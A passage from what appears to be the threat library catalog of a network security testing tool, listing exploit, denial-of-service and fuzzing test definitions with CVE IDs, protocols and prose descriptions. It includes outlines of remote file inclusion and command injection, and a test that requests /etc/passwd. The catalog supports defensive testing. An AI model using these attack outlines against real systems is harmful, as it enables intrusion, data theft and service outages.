Detailed Description:	This threat sends a crafted POST payload containing PHP code that when retrieved using a remote file inclusion flaw allows arbitrary command execution. RunCMS is a web application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-0658
Threat File Name:	nvp_backdoor_IPv6.xml
Executive Description:	IP Protocol 11 (IPv6 Version)
Detailed Description:	This threat sends out packets with the IP protocol set to 11. This can signify possible backdoor traffic with a rarely used IP protocol value. (IPv6 Version)
Protocol Type:	IP/IPv6
Threat Package:	Standard
Threat File Name:	nocc_cmi_b_IPv6.xml
Executive Description:	NOCC Arbitrary Local File Inclusion \ Command Execution Vulnerability, themes field (IPv6 Version)
Detailed Description:	This threat sends an HTTP query containing a path for a local (to the server) file to be included in the servers output. NOCC is a web application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	wordpress_lastpost_IPv6.xml
Executive Description:	Wordpress Arbitrary Command Injection (IPv6 Version)
Detailed Description:	This threat injects a command into the PHP web application Wordpress. It allows a remote attacker to run any command they wish in the context of the webserver. Wordpress is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2110
OSVDB:	18672
Threat Package:	Standard
Threat File Name:	ipv6_Netbios_crash_IPv6.xml
Executive Description:	IPv6 Microsoft NetBIOS Denial of Service (IPv6 Version)
Detailed Description:	This threat sends a large amount of data at UDP port 137. Known to cause older implementations of Microsoft Windows to use 100% CPU and crash the NetBIOS service. This is an IPv6 version of this threat. (IPv6 Version)
Protocol Type:	NETBIOS_NS/IPv6
Threat Package:	Standard
Threat File Name:	fuzz-HTTP_AppendformatnToHEAD.xml
Executive Description:	Fuzz HTTP HEAD appended by %n
Detailed Description:	Fuzzes the Method field by appending %n
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	TSL20151013-23_Microsoft_Office_Excel_fileVersion_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Office Excel fileVersion Use After Free IPv6 version
Detailed Description:	A use-after-free vulnerability exists in Microsoft Office Excel. The application fails to properly handle a pointer in memory while parsing a fileVersion XML element in an XLSX document. A remote, unauthenticated attacker could exploit these vulnerabilities by enticing a user to open a specially crafted XLSX document. Successful exploitation could result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	HTTP/HTTPS/IMAP/SMTP/SMB/CIFS.IPV6
CVEID:	CVE-2015-2558
Threat File Name:	TSL20041021-01_Microsoft_Windows_Graphics_Rendering_Engine_Buffer_Overflow.xml
Executive Description:	Microsoft Windows Graphics Rendering Engine Buffer Overflow
Detailed Description:	A vulnerability exists in the Microsoft Windows Graphics Rendering Engine. The vulnerability exists in the routines that handle the parsing of the Windows Metafile (WMF) and Enhanced Metafile (EMF) image formats. An attacker leveraging this vulnerability could execute arbitrary code on the target system with privileges of currently logged in user. Testing has shown that the vendor released patches do not fully correct this vulnerability. Please refer to section 12.1 "Open Questions to Resolve" for more information. In a simple attack case, a successful attack will result in the application that was used to open the crafted meta file to terminate. The user will be prompted to acknowledge the thrown exception, after which the affected application will be shut down. In the case of a more sophisticated attack, code injection and execution is possible. The injected code would be run with the privileges of the currently logged in user. In this case, the behaviour of the target is entirely dependent on the intended function of the injected code.
Protocol Type:	HTTP
CVEID:	CVE-2004-0209
Threat File Name:	ultravnc_client.xml
Executive Description:	UltraVNC Client Log Buffer Overflow and Arbitrary Command Execution
Detailed Description:	This server based threat exploits the UltraVNC client using a malformed packet which exercises a flaw in the logging code allowing arbitrary command execution. UltraVNC is a VNC service which listens on port 5900.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20080722-05_Sun_Java_Web_Start_JNLP_java-vm-args_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Sun Java Web Start JNLP java-vm-args Heap Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a heap buffer overflow vulnerability in Sun Java Web Start. The vulnerability is due to improper bound checking while handling XML based JNLP files. A remote unauthenticated attacker can exploit this vulnerability by enticing the target user to open a crafted JNLP file, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-3111
Threat Package:	Standard
Threat File Name:	firefoxContentWindow.xml
Executive Description:	Firefox ContentWindow Null Pointer

Detailed Description:	This threat causes a crash Mozilla Firefox by displaying a malicious web page. This is caused by referencing a deleted element with design mode enabled. This threat comes from the virtual server in the form of a malicious web page. Web servers typically listen on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-1993
Threat Package:	Standard
Threat File Name:	ms00-058_IPv6.xml
Executive Description:	IIS Translate F Source Disclosure (IPv6 Version)
Detailed Description:	This threat takes advantage of a flaw in Microsoft's IIS that allows an attacker to show the source of a dynamic webpage. This is done by using the Translate: f capability of IIS. IIS is a webserver, and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2000-0778
OSVDB:	390
Threat Package:	Standard
Threat File Name:	TSL20150715-01_Adobe_Flash_Player_TextLine_opaqueBackground_Use_After_Free.xml
Executive Description:	Adobe Flash Player TextLine opaqueBackground Use After Free
Detailed Description:	A use-after-free vulnerability exists in Adobe Flash Player. The vulnerability is due a dangling reference when handling the opaqueBackground property of a TextLine object. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted file. A successful attack could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2015-5122
Threat File Name:	TSL20130611-14_Microsoft_Internet_Explorer_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer Use After Free
Detailed Description:	A use-after-free vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2013-3119
OSVDB:	94113
Threat File Name:	cwb_pro_rfi.xml
Executive Description:	CWB PRO Version 1.5(INCLUDE_PATH)Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. CWB Pro is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-1513
Threat Package:	Standard
Threat File Name:	FSC20081014-34_VideoLAN_VLC_Media_Player_XSPF_Memory_Corruption_IPv6.xml
Executive Description:	VideoLAN VLC Media Player XSPF Memory Corruption (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in VideoLAN VLC Media Player. The flaw is due to insufficient data validation when processing XSPF playlist file. An attacker may entice the target user to open a crafted XSPF file to exploit this vulnerability. Successful attack may allow for arbitrary code injection and execution with privileges of the currently logged on user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-4558
Threat Package:	Standard
Threat File Name:	TSL20120508-08_Microsoft_Excel_OBJECTLINK_Record_Memory_Corruption_IPV6.xml
Executive Description:	Microsoft Excel OBJECTLINK Record Memory Corruption(IPV6 Version)
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Excel. The vulnerability is due to the way in which OBJECTLINK records are handled. A remote, unauthenticated attacker could exploit this vulnerability by enticing a target user to open a crafted Excel document. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-0142
OSVDB:	81727
Threat File Name:	FSC20081104-07_Apache_Struts_FilterDispatcher_and_DefaultStaticContentLoader_Classes_Directory_T_raversal.xml
Executive Description:	Apache Struts FilterDispatcher and DefaultStaticContentLoader Classes Directory Traversal
Detailed Description:	There exists a directory traversal vulnerability in the Apache Struts. The vulnerability is due to an input validation error in Struts that does not properly sanitize the URI for directory traversal patterns. Successful exploitation allows unauthenticated remote attackers to disclose or access arbitrary files on the vulnerable server. The target will not exhibit any unusual behaviour as a result of this attack. A successful attack will allow the attacker to gain access to restricted files. This may lead to disclosure of sensitive information.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	foing_cmi_b.xml
Executive Description:	Foing 0.7.0 (phpBB) Remote File Inclusion Vulnerability
Detailed Description:	This threat send a crafted HTTP query containing a path to an arbitrary file which is included by the server and executed via song.phps "phpbb_root_path" parameter. Foing is a web based application with typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20121113-18_Microsoft__NET_Framework_Proxy_Auto-Discovery_Code_Execution.xml

Executive Description:	Microsoft .NET Framework Proxy Auto-Discovery Code Execution
Detailed Description:	An code execution vulnerability has been reported in Microsoft .NET Framework. The vulnerability is due to the way the framework handles the proxy auto-configuration JavaScript. A remote unauthenticated attacker can exploit this vulnerability by spoofing a proxy auto-configuration (PAC) file location or contents, using techniques such as ARP cache poisoning on local network, NetBios Name Service (NBNS) spoofing, or DNS spoofing; or use social engineering to entice the user to use the malicious PAC URL. The attacker could craft PAC JavaScript code in such a way that it executes restricted code with full access permissions of the currently logged in user.
Protocol Type:	HTTP,HTTPS,FTP
CVEID:	CVE-2012-4776
OSVDB:	87266
Threat File Name:	TSL20160615-05_HAProxy_reqdeny_Denial_of_Service_IPv6.xml
Executive Description:	HAProxy reqdeny Denial of Service (IPv6 version)
Detailed Description:	A denial of service vulnerability exists in HAProxy. The vulnerability is due to a design weakness in the handling of configurable HTTP result codes for HTTP requests denied due to a reqdeny rule. A remote, unauthenticated attacker could exploit this vulnerability by sending a malicious request to the target server. Successful exploitation may result in denial of service conditions.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-5360
Threat File Name:	persits_activex_bof.xml
Executive Description:	Persits Software XUpload Control AddFolder() Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in Persits Software XUpload AddFolder() ActiveX application, resulting in the overwritingof arbitrary files or code execution. This threat is delived via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-6530
Threat Package:	Standard
Threat File Name:	TSL20120724-02_Mozilla_Multiple_Products_Table_Frames_Memory_Corruption.xml
Executive Description:	Mozilla Multiple Products Table Frames Memory Corruption
Detailed Description:	A code execution vulnerability exists in Mozilla Firefox, Seamonkey, and Thunderbird. The vulnerability is due to the nsTableFrame::InsertFrames method failing to handle mixed group table frames. A remote attacker could exploit this vulnerability by enticing a user to open a crafted web page. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP
CVEID:	CVE-2012-1952
OSVDB:	83999
Threat File Name:	FSC20060718-14_Oracle_Database_SYS_KUPW-WORKER_Package_MAIN_Procedure_SQL_Injection_IPv6.xml
Executive Description:	Oracle Database SYS.KUPW-WORKER Package MAIN Procedure SQL Injection (IPv6 Version)
Detailed Description:	There exists a SQL injection vulnerability in the Oracle Database products. The flaw can be triggered by crafted call to the Data Pump Metadata API function SYS.KUPW\$WORKER.MAIN, resulting in execution of privileged SQL statements. The attacker must have the necessary privileges to create PL/SQL functions on the target server in order to trigger the vulnerability. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
Threat Package:	Standard
Threat File Name:	FSC20081113-22_Mozilla_Firefox_File_Input_Element_Memory_Corruption.xml
Executive Description:	Mozilla Firefox File Input Element Memory Corruption
Detailed Description:	There exists vulnerability in Mozilla Firefox. The vulnerability is due to a race condition when handling a DOM method on a specific HTML form object. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted web page. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the currently logged on user. In a successful attack, arbitrary code is supplied and executed on the vulnerable target host. The behaviour of the target system is dependent on the malicious code. Note that any code executed by the attacker runs with the privileges of the logged in user. In an attack where code execution fails, the vulnerable application will terminate abnormally while parsing the malicious document.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMTP
CVEID:	CVE-2008-5021
Threat Package:	Standard
Threat File Name:	ms05-038_oom_dos_IPv6.xml
Executive Description:	Internet Explorer JPEG Image Corruption oom_dos (IPv6 Version)
Detailed Description:	This threat causes a crash in Internet Explorer. It is caused by downloading a corrupt JPEG file, typically from a webserver. Webservers typically listen on port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1988
OSVDB:	18610
Threat Package:	Standard
Threat File Name:	TSL20160630-14_WECON_LeviStudio_Address_Name_Heap_Buffer_Overflow.xml
Executive Description:	WECON LeviStudio Address Name Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability has been reported in WECON LeviStudio. The vulnerability is due to improper parsing of XML <i><Address><Name></i> attribute of LeviStudio project files. A remote attacker could exploit this vulnerability by enticing a user to open a crafted project. Successful exploitation could allow the attacker to execute arbitrary code under the security context of the user process.
Protocol Type:	HTTP
Threat File Name:	brightstor_probe_BoF.xml
Executive Description:	Brighstor Backup Probe Buffer Overflow
Detailed Description:	This threat causes a buffer overflow in Computer Associates Brighstor Backup program. This is caused by sending a malformed packet to port 41524.

Protocol Type:	Proprietary
CVEID:	CVE-2005-0260
OSVDB:	13613
Threat Package:	Standard
Threat File Name:	TSL20160614-23_Microsoft_Office_CVE-2016-3234_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Office CVE-2016-3234 Information Disclosure (IPv6 version)
Detailed Description:	An information disclosure vulnerability has been reported in an unspecified component of Microsoft Office. This vulnerability is due to a flaw in how the software handles certain objects in memory. A remote attacker could exploit this vulnerability by enticing a victim user to open a maliciously crafted document. Successful exploitation allows the attacker to disclose sensitive information and potentially bypass ALSR.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-3234
Threat File Name:	FSC20080812-28_Microsoft_Office_PICT_Filter_Invalid_Length_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Office PICT Filter Invalid Length Memory Corruption (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office PICT Filter. The vulnerability is due to an error in handling a PICT image file. Remote unauthenticated attackers could exploit this vulnerability by persuading a target user to open a specially crafted PICT file. Successful exploitation would cause a memory corruption that may lead to arbitrary code execution in the security context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-3018
Threat Package:	Standard
Threat File Name:	FSC20090609-17_Microsoft_Office_Excel_Record_Pointer_Overwrite_Code_Execution.xml
Executive Description:	Microsoft Office Excel Record Pointer Overwrite Code Execution
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office Excel products. The vulnerability is due to a pointer overwrite error when processing certain records. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access. If termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0549
Threat Package:	Standard
Threat File Name:	TSL20070809-08_Symantec_Products_ActiveX_Control_NavComUI_dll_Code_Execution.xml
Executive Description:	Symantec Products ActiveX Control NavComUI.dll Code Execution
Detailed Description:	There exists two code execution vulnerabilities in various Symantec Products. The vulnerabilities are caused due to errors in AxSysListView32 and AxSysListView320AA ActiveX controls when handling the "AnomalyList" and "Anomaly" properties. A remote attacker can exploit these vulnerabilities by enticing the target user to open a crafted webpage, potentially causing arbitrary code to be injected and executed in the security context of the current user. An attack targeting this vulnerability can result in arbitrary code execution. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code will be executed within the security context of the currently logged in user. In an attack case where code injection is not successful, the browser will terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2007-2955
Threat File Name:	TSL20150421-12_Novell_ZENworks_Configuration_Management_Rtrlet_Directory_Traversal.xml
Executive Description:	Novell ZENworks Configuration Management Rtrlet Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in Novell ZENworks Configuration Management. The vulnerability is due to insufficient input validation within the ZENworks Server's Rtrlet.classRemote unauthenticated attackers can leverage this vulnerability to upload malicious files anywhere onto the target server. Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the vulnerable system with administrative privileges.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-0781
OSVDB:	121154
Threat File Name:	fuzz-IP_srcIP.xml
Executive Description:	Fuzzer for Protocol:IP and Field:srcIP
Detailed Description:	
Protocol Type:	IP
Threat Package:	Fuzzing
Threat File Name:	TSL20120430-04_McAfee_Virtual_Technician_MVT_MVTControl_ActiveX_Control_Insecure_Method.xml
Executive Description:	McAfee Virtual Technician MVT.MVTControl ActiveX Control Insecure Method
Detailed Description:	An insecure method has been discovered in McAfee Virtual Technician. The vulnerability is due to a design weakness in the GetObject() method, which allows instantiation of an arbitrary object on the vulnerable system. Remote attackers can exploit this vulnerability by enticing a target user to open a crafted web page. Successful exploitation would result in execution of arbitrary code in the context of the currently logged-on user.
Protocol Type:	HTTP,HTTPS
Threat File Name:	ms_windows_help_bof_IPv6.xml
Executive Description:	Microsoft Windows Help File Unspecified Heap Overflow Vulnerability (IPv6 Version)

Detailed Description:	This threat uses a malformed Windows Help (.hlp) file that when accessed by a user results in a heap overflow condition. Microsoft Windows is a client Operating System and the .hlp file is delivered via emulated web server listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	ms05-016_IPv6.xml
Executive Description:	MS05-016 MSHTA Script Execution (IPv6 Version)
Detailed Description:	This threat represents a file being downloaded with an unknown extension, but contains CLSID which invokes the Microsoft HTML Application host scripting. This allows an attacker to represent a file with a bogus extension and mime-type which can be executed by the host downloading the application. For instance, sending an file with the extension of d0c and mime type of application/msword, but with the CLSID of MSHTA. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0063
OSVDB:	15469
Threat Package:	Standard
Threat File Name:	cisco_cbos_IPv6.xml
Executive Description:	Cisco Web Admin Denial of Service (IPv6 Version)
Detailed Description:	This threat causes a crash on certain Cisco equipment when sent to the Web Administration page. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	sambar_dos.xml
Executive Description:	Sambar Webserver cgitest.exe Buffer Overflow
Detailed Description:	This threat calls a vulnerable CGI program packaged with the Sambar webserver. This threat affects a component of a webserver, which would typically listen on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2002-0128
OSVDB:	34
Threat Package:	Standard
Threat File Name:	nabopoll_rfi_IPv6.xml
Executive Description:	nabopoll 1.2 (survey.inc.php path) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Nabopoll is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0873
Threat Package:	Standard
Threat File Name:	TSL20151209-13_Schneider_Electric_ProClima_FlBookView_AttachToSS_Memory_Corruption_IPv6.xml
Executive Description:	Schneider Electric ProClima FlBookView AttachToSS Memory Corruption(IPv6 version)
Detailed Description:	A memory corruption vulnerability has been reported in Schneider Electric ProClima. The vulnerability is due to a flaw in the AttachToSS() method of the FlBookView ActiveX control, in which a user-supplied integer is interpreted as a memory address.A remote, unauthenticated attacker could exploit this vulnerability by enticing a victim to browse to a malicious web page. Successful exploitation could lead to arbitrary code execution under context of the user.
Protocol Type:	HTTPS,HTTP,IPv6
CVEID:	CVE-2015-8561
Threat File Name:	TSL20170710-02_Apache_Struts_2_Struts_1_Plugin_Remote_Code_Execution_IPv6.xml
Executive Description:	Apache Struts 2 Struts 1 Plugin Remote Code Execution (IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists in Apache Struts. The vulnerability is due to improper validation of user-provided input passed to the ActionMessage class. A remote attacker could exploit this vulnerability by sending a crafted request to the target server. Successful exploitation will allow an attacker to execute arbitrary code with the privileges of the server.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-9791
Threat File Name:	fuzz-HTTP-HEAD_PrepndHTTPWithformatn.xml
Executive Description:	Fuzz HTTP HEAD with Request-URI prepended with %n
Detailed Description:	Fuzzes the Request-URI field by prepending %n
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	FSC20100810-04_Microsoft_DirectShow_MPEG_Layer-3_Audio_Decoder_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft DirectShow MPEG Layer-3 Audio Decoder Memory Corruption (IPv6 Version)
Detailed Description:	A code execution vulnerability has been reported in Microsoft DirectShow MPEG Layer-3 Audio Decoder. The vulnerability is due to memory corruption while decoding specially crafted files. An attacker can exploit this vulnerability by enticing a user to process a malicious audio file. This can lead to memory corruption and the possibility of code execution in the context of the logged in user.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-1882
Threat Package:	Standard
Threat File Name:	FSC20060711-13_Microsoft_Excel_Malformed_SELECTION_Record_Code_Execution_IPv6.xml
Executive Description:	Microsoft Excel Malformed SELECTION Record Code Execution (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Excel. The flaw is caused by insufficient checks while parsing Selection Records in the Excel files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted excel file, causing arbitrary code to be injected and executed in the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1301
Threat Package:	Standard

Threat File Name:	TSL20131219-02_Apache_Santuario_XML_Security_for_Java_DTD_Denial_of_Service.xml
Executive Description:	Apache Santuario XML Security for Java DTD Denial of Service
Detailed Description:	A denial of service vulnerability exists in Apache Santuario XML Security for Java. The vulnerability is due to the allowing of Document Type Definitions (DTDs) when validating signatures. A remote attacker can exploit this vulnerability by providing a specially crafted XML signature. Successful exploitation could result in the application crashing resulting in a denial of service condition.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2013-4517
OSVDB:	101169
Threat File Name:	TSL20170523-10_Digium_Asterisk_chan_skinny_SCCP_packet_Denial_of_Service_IPv6.xml
Executive Description:	Digium Asterisk chan_skinny SSCP packet Denial of Service (IPv6 Version)
Detailed Description:	A denial of service vulnerability has been reported in Digium Asterisk. The vulnerability is due to a processing flaw in the chan_skinny SSCP packet processing module. A remote unauthenticated attacker can exploit this vulnerability by sending a maliciously crafted SSCP packet to a vulnerable Asterisk server. Successful exploitation could cause the Asterisk server to terminate.
Protocol Type:	SCCP,IPv6
Threat File Name:	FSC20080212-10_Microsoft_Windows_WebDAV_Mini-Redirector_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows WebDAV Mini-Redirector Heap Buffer Overflow (IPv6 Version)
Detailed Description:	A vulnerability has been reported in the WebDAV Mini-Redirector component of Microsoft Windows. The flaw can be triggered during the processing of WebDAV responses, causing a heap overflow. An attacker can exploit this vulnerability by persuading the target user to connect to a malicious WebDAV server. A successful attack could lead to arbitrary code execution in the SYSTEM security context. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-0080
Threat Package:	Standard
Threat File Name:	FSC20081209-18_Microsoft_Word_RTF_Mismatched_dpendgroup_Buffer_Overflow.xml
Executive Description:	Microsoft Word RTF Mismatched dpendgroup Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Word products. The flaw is due to a boundary error when processing RTF documents that contain mismatched dpendgroup control words. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted RTF file. Successful exploitation can lead to arbitrary code execution within the security context of the currently logged on user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, affected product will terminate resulting in the loss of any unsaved data from the current session.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-4030
Threat Package:	Standard
Threat File Name:	FSC20091116-02_Microsoft_Windows_SMB_Response_Denial_of_Service.xml
Executive Description:	Microsoft Windows SMB Response Denial of Service
Detailed Description:	A denial of service vulnerability has been reported in Microsoft Windows Server Message Block (SMB) implementation. The vulnerability is caused by an infinite loop that can occur when a crafted SMB response is sent to a target system. A remote attacker can exploit this vulnerability by enticing a target user to connect to a malicious SMB server. Successful exploitation can lead to a denial of service condition of the target system.
Protocol Type:	SMB
CVEID:	CVE-2009-3676
Threat Package:	Standard
Threat File Name:	TSL20111213-12_Microsoft_Windows_OLE_Automation_OLESS_File_Objects_Memory_Corruption.xml
Executive Description:	Microsoft Windows OLE Automation OLESS File Objects Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Windows OLE automation. The vulnerability is due to insufficient validation of malformed OLE objects when parsing OLE Structured Storage documents (e.g. Office documents, etc.) Remote attackers could exploit this vulnerability by persuading unsuspecting users to view a specially crafted OLESS file. Successful exploitation would allow the attacker to execute arbitrary code in the context of the logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2011-3400
Threat File Name:	tivoli_prvsmgr_bof.xml
Executive Description:	IBM Tivoli Provisioning Manager Remote PRE AUTH Vulnerability
Detailed Description:	This threat exploits a stack overflow in IBM Tivoli Provisioning Manager via a http GET request, leading to denial of service or potentially execute arbitrary code with SYSTEM privileges. This threat is typically delivered to the affected system via port 8080.
Protocol Type:	HTTP
CVEID:	CVE-2007-1868
OSVDB:	34678
Threat Package:	Standard
Threat File Name:	FSC20051115-01_VERITAS_NetBackup_vmd_Shared_Library_Buffer_Overflow_IPv6.xml
Executive Description:	VERITAS NetBackup vmd Shared Library Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a stack-based buffer overflow vulnerability in VERITAS NetBackup Enterprise Server. The flaw is caused by insufficient boundary checks when processing user supplied message. An unauthorized attacker may leverage this vulnerability to inject and execute arbitrary code on the target system. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2005-3116
Threat Package:	Standard
Threat File Name:	NOOPudpSPARC2_IPv6.xml
Executive Description:	UDP NOOP Variant SPARC 2 (IPv6 Version)

Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure more probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives. (IPv6 Version)
Protocol Type:	UDP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20090202-08_Novell_Groupwise_Internet_Agent_RCPT_Command_Buffer_Overflow.xml
Executive Description:	Novell Groupwise Internet Agent RCPT Command Buffer Overflow
Detailed Description:	There exists a stack buffer overflow vulnerability in the Novell GroupWise. The vulnerability is due to a boundary error while processing specially crafted SMTP request. Remote attackers can exploit this vulnerability to execute arbitrary code on the target server. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute with the security privileges of the server. In an attack case where code injection is not successful, the affected process will terminate abnormally.
Protocol Type:	SMTP
Threat Package:	Standard
Threat File Name:	ms_vstudio_activex_overwrite2.xml
Executive Description:	Microsoft Visual Studio 6.0 VB To VSI Support Library (VBTOVSI.DLL v. 1.0.0.0) Arbitrary File Overwrite Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Microsoft Visual Studio VB To VSI Support Library ActiveX Control, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-4890
Threat Package:	Standard
Threat File Name:	randomProtocol_IPv6.xml
Executive Description:	Random IP Protocol Field (IPv6 Version)
Detailed Description:	This threat sends IP packets with a random IP Protocol field value. The payload contains 4 ASCII A's. (IPv6 Version)
Protocol Type:	IP/IPv6
Threat Package:	Standard
Threat File Name:	http_get_passwd.xml
Executive Description:	HTTP GET /etc/passwd
Detailed Description:	This threat is an attempt to gain the passwd file from a poorly configured webserver. Many embedded web servers do not perform strict checking of URLs requested and can be misused to gain entry.
Protocol Type:	HTTP
CVEID:	CVE-2005-0845
Threat Package:	Standard
Threat File Name:	TSL20141219-10_Network_Time_Protocol_Daemon_ctl_putdata_Buffer_Overflow_IPv6.xml
Executive Description:	Network Time Protocol Daemon ctl_putdata Buffer Overflow IPv6 version.
Detailed Description:	A buffer overflow vulnerability exists in the Network Time Protocol daemon (NTPD). The vulnerability is due to insufficient checks on an input size prior to a copy operation in the ctl_putdata() function. A remote privileged attacker could exploit this vulnerability by sending a crafted NTP request to the vulnerable service. Successful exploitation could result in arbitrary code execution with the privilege level of the ntpd process. Tester should set variable \$destPort to 123 before test.
Protocol Type:	NTP.IPv6
CVEID:	CVE-2014-9295
OSVDB:	116067
Threat File Name:	fuzz-IP_Protocol_IPv6.xml
Executive Description:	Fuzzer for Protocol:IP and Field:Protocol (IPv6 Version)
Detailed Description:	(IPv6 Version)
Protocol Type:	IP/IPv6
Threat Package:	Fuzzing
Threat File Name:	tomcat_dos_IPv6.xml
Executive Description:	Apache Tomcat Denial of Service (IPv6 Version)
Detailed Description:	This threat sends out repeated requests for a specific URL on a Tomcat webserver. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2003-0045
OSVDB:	12233
Threat Package:	Standard
Threat File Name:	TSL20170314-29_Microsoft_Internet_Explorer_CVE-2017-0008_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2017-0008 Information Disclosure (IPv6 Version)
